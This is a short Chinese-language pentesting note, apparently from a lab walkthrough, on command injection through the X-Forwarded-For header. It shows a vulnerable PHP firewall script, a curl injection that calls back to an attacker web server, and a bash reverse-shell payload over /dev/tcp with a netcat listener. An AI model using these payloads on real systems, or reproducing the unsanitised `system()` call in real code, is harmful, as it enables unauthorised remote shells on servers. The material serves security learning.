> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md).
# X-Forwarded-For 命令注入
如果我们观察这个文件 `firewall.php`，我们会注意到它获取了请求头 `HTTP_X_FORWARDED_FOR` 并将其与 `sudo` 一起用于执行命令：
```php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptable -A INPUT -s " . $ip . " -j ACCEPT");
?>
```
鉴于该变量可通过 HTTP 请求控制，我们可以注入任意命令。 **利用** 由于这是一个 HTTP 请求头，我们可以注入命令，例如使用 `curl` 来连接我们的 Web 服务器。 **Web 服务器设置：**
```bash
python3 -m http.server 80
```
**使用以下方式进行命令注入： `curl`:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
**反向 Shell** **在 443 端口监听：**
```bash
nc -nlvp 443
```
**获取远程 shell 的命令：**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
一旦连接成功，我们就是用户 `www-data`.
---
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